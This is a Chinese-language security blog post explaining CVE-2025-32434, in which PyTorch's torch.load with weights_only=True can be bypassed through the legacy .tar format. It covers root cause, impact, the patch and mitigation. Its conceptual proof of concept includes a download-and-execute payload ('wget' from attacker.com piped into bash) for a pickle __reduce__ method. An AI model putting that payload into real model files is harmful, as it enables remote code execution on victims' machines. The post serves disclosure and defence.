PyTorch‘s ‘Safe Mode‘ torch.load Wasn‘t So Safe After All

本文链接：https://blog.csdn.net/m0_53870075/article/details/149288924

torch.load(..., weights_only=True

今天我们要深入探讨一个热门机器学习框架——PyTorch中一个令人着迷的漏洞。CVE-2025-32434有点狡猾，它把一个原本为安全设计的功能变成了远程代码执行（RCE）的潜在入口。端起你的咖啡（或你喜欢的含咖啡因饮料），让我们来剖析这个漏洞。

简要概述 / 执行摘要

问题是什么？ CVE-2025-32434是PyTorch 2.5.1及以下版本中的一个远程代码执行（RCE）漏洞。
它是如何运作的？ 即使使用所谓的“安全”函数torch.load(..., weights_only=True)，使用旧格式精心构造的恶意模型文件也能绕过安全检查并执行任意代码。
受影响的系统： PyTorch <= 2.5.1。
严重程度： 可能是高到严重（CVSS分数待定，但RCE通常是很严重的问题）。
缓解措施： 立即升级PyTorch到2.6.0或更高版本（pip install --upgrade torch>=2.6.0）。

引言：对机器学习模型的信任

在人工智能和机器学习快速发展的领域中，像PyTorch这样的框架是构建惊人创新的基础。开发人员和数据科学家每天都依赖这些工具，经常加载从各种来源下载的预训练模型。但当设计用于安全加载这些模型的机制存在隐藏缺陷时，会发生什么呢？

这就引出了torch.load。从历史上看，使用torch.load（它在底层使用Python的pickle模块）加载任意文件被认为是有风险的。Pickle文件可以包含在加载时执行的代码，如果你从一个不可信的来源加载文件，它就成为一个经典的RCE向量。为了应对这个问题，PyTorch引入了weights_only=True参数。承诺很简单：设置这个标志，torch.load就只会加载模型的参数（张量和简单数据类型），拒绝执行任何可能嵌入其中的有害代码。它被推荐为“安全模式”。

然而，正如安全研究员周嘉安发现的那样，这里存在一个漏洞。CVE-2025-32434表明，即使在weights_only=True的情况下，在某些条件下仍然可能发生RCE。这非常重要，因为许多开发人员遵循最佳实践，可能已经切换到weights_only=True，认为他们受到了保护。

技术深潜：解开传统格式的死结

那么，这究竟是如何发生的？让我们深入技术细节。

pickle问题与weights_only参数：
Python的pickle模块功能强大，但对于反序列化不可信数据来说却十分危险。它允许对象定义__reduce__方法，该方法可以指定在反序列化过程中调用的任意函数——包括像os.system这样的系统命令。torch.save默认使用pickle进行序列化。

torch.load中的weights_only=True参数旨在通过使用受限的反序列化器（_weights_only_unpickler）来缓解这一问题。这个反序列化器维护了一个严格允许反序列化的类型白名单，主要关注模型权重和结构所需的张量、存储器和基本Python集合。其他任何内容，特别是通过__reduce__尝试执行代码的行为，都应该被阻止。

根本原因——传统格式绕过：
这个漏洞存在于PyTorch处理旧模型文件格式的方式中，特别是传统的.tar格式。负责加载这些旧格式的代码路径（torch/serialization.py中的_legacy_load）没有正确或一致地执行weights_only=True的限制。

可以这样理解：weights_only=True就像是在主入口（现代基于zip的格式加载器）处设置的一个严格的安全守卫。这个守卫仔细检查每个人的身份证（正在反序列化的数据类型）。然而，CVE-2025-32434揭示了一个很少使用的旧服务隧道（传统的.tar格式加载器），那里的安全守卫没有正确驻守，或者其指令不完整。攻击者可以制作一个看起来像正常交付的包裹，但将其通过这个服务隧道发送，绕过主要的安全检查，将违禁品（恶意代码）走私进来。

具体来说，当torch.load遇到一个被识别为传统.tar格式的文件时，它会沿着一个代码路径前进，在这个路径中_weights_only_unpickler没有被正确应用，或者其限制被绕过，从而允许底层的（不安全的）pickle.load可能执行存档组件中嵌入的代码。

攻击向量与业务影响：
攻击者制作一个使用易受攻击的传统.tar格式保存的恶意.pt文件。这个文件包含设计为在反序列化时执行代码的pickle对象（例如，使用__reduce__调用os.system）。然后，攻击者诱骗受害者（开发人员、自动化的ML流水线）使用torch.load(malicious_file, weights_only=True)加载这个文件。

攻击场景： 用户从一个不太可靠的来源或一个被攻破的仓库下载一个预训练模型。他们使用“安全”的weights_only=True标志加载它，无意中触发了RCE。
影响：
- 在运行PyTorch代码的机器上实现完全的RCE。这可能意味着：
  - 数据盗窃（敏感数据集、专有模型、凭证）。
  - 服务器被攻破并在网络内进行横向移动。
  - 模型中毒或操纵。
  - 拒绝服务。

概念验证（概念性）

出于道德原因，我们不会提供一个现成的可运行漏洞利用代码。然而，以下是攻击者可能制作恶意文件以及受害者如何触发它的概念性流程：

攻击者创建恶意文件：
- 攻击者创建一个Python对象，其__reduce__方法返回一个像os.system这样的函数和参数（例如，('wget http://attacker.com/payload.sh -O /tmp/p.sh && bash /tmp/p.sh',)）。
- 这个对象被pickle序列化。
- 序列化数据被嵌入到一个符合PyTorch传统.tar格式的文件结构中。这可能涉及在tarball中创建_legacy_load期望的特定文件。
- 最终文件以.pt扩展名（或类似）保存，看起来像一个标准的PyTorch模型文件。我们称之为malicious_legacy_model.pt。

受害者加载文件：
开发人员或自动化系统运行以下Python代码，由于weights_only=True而认为它是安全的：

# victim_code.py
import torch
import os # 仅用于示例负载，受害者代码本身不需要

trusted_source = False # 假设来源不可信

if not trusted_source:
    print(f"使用weights_only=True加载模型以确保安全...")
    try:
        # 尝试使用“安全”标志加载恶意文件
        # 这里触发了CVE-2025-32434
        model_data = torch.load("malicious_legacy_model.pt", weights_only=True)
        print("模型加载成功？如果你看到这个消息，RCE可能失败或静默执行。")
        # 进一步处理model_data...
    except Exception as e:
        # RCE可能在加载过程中发生，可能在异常处理之前或期间
        print(f"发生错误：{e}")
        print("然而，代码执行可能已经发生了！")
else:
    # 如果来源可信，则可能进行不安全的加载（与此CVE无关）
    # model_data = torch.load("some_model.pt", weights_only=False)
    pass

缓解与修复：打补丁！

幸运的是，修复方法非常简单：

立即修复： 将PyTorch升级到2.6.0或更高版本。

pip install --upgrade torch>=2.6.0
# 或者使用conda：
# conda update pytorch # （确保渠道配置指向2.6.0或更高版本）

这个版本包含了修复漏洞的补丁。

补丁分析（提交8d4b8a920a...）：
核心修复位于torch/serialization.py中的_legacy_load函数，非常简单。在尝试处理检测到的tar文件内容之前，添加了一个新的检查：
```
# 在_legacy_load中，打开tarfile之后：
if pickle_module is _weights_only_unpickler:
    raise RuntimeError(
        "不能在使用``weights_only=True``的情况下加载传统.tar格式的文件。 " + UNSAFE_MESSAGE
    )
```
- 作用： 明确检查正在使用的反序列化器是否是受限的_weights_only_unpickler（当向torch.load传递weights_only=True时会发生这种情况）。
- 为什么有效： 如果有人尝试加载传统.tar格式的文件并且指定了weights_only=True，这段代码现在会立即抛出一个RuntimeError，防止执行到达传统路径中可能不安全的pickle.load调用，其中受限的反序列化器被错误应用或绕过。它有效地在“高安全”模式激活时关闭了那个旧的服务隧道。test/test_serialization.py中添加的测试用例确认了这种行为。
长期解决方案与最佳实践：
- 验证模型来源： 只从可信的、经过验证的来源加载模型。如果可能，实施校验和验证。
- 输入扫描： 如果可行，使用工具在加载之前扫描模型文件中的可疑模式（尽管这很复杂）。
- 最小权限原则： 在沙箱环境（容器、虚拟机）中以最小权限运行ML训练/推理过程。
- 依赖管理： 保持你的ML框架和库是最新的。使用pip-audit或GitHub Dependabot等工具。
验证： 检查你安装的PyTorch版本：
```
python -c "import torch; print(torch.__version__)"
```
确保输出是2.6.0或更高版本。

时间线

发现： 归功于周嘉安，可能发生在2025年4月之前的某个时间。
供应商通知： 假设在发现后不久进行。
补丁开发与提交： 相关修复（8d4b8a9...）在2.6.0发布前合并。
补丁可用性： PyTorch 2.6.0版本发布，包含修复。
公开披露（GHSA-53q9-r3pm-6pq6）： 2025年4月17-18日。

经验教训：No Silver Bullets

这个CVE很好地提醒了我们几个关键的安全原则：

安全功能不是魔法： 像weights_only=True这样的标志是强大的工具，但它们是在代码中实现的，可能会有bug或不可预见的交互，特别是与旧组件一起使用时。理解如何一个安全功能工作，而不仅仅是它存在。
旧代码是风险： 旧代码路径和格式，即使很少使用，也可能隐藏漏洞。彻底审计或计划淘汰是必不可少的。
信任但验证（尤其是下载）： ML世界依赖于模型共享，但这引入了供应链风险。对待下载的模型文件要像对待可执行代码一样谨慎。

关键要点： 安全是一个持续的过程，而不是一次性的勾选框。即使是看似“安全”的操作也需要仔细检查，特别是在处理复杂的框架和外部数据时。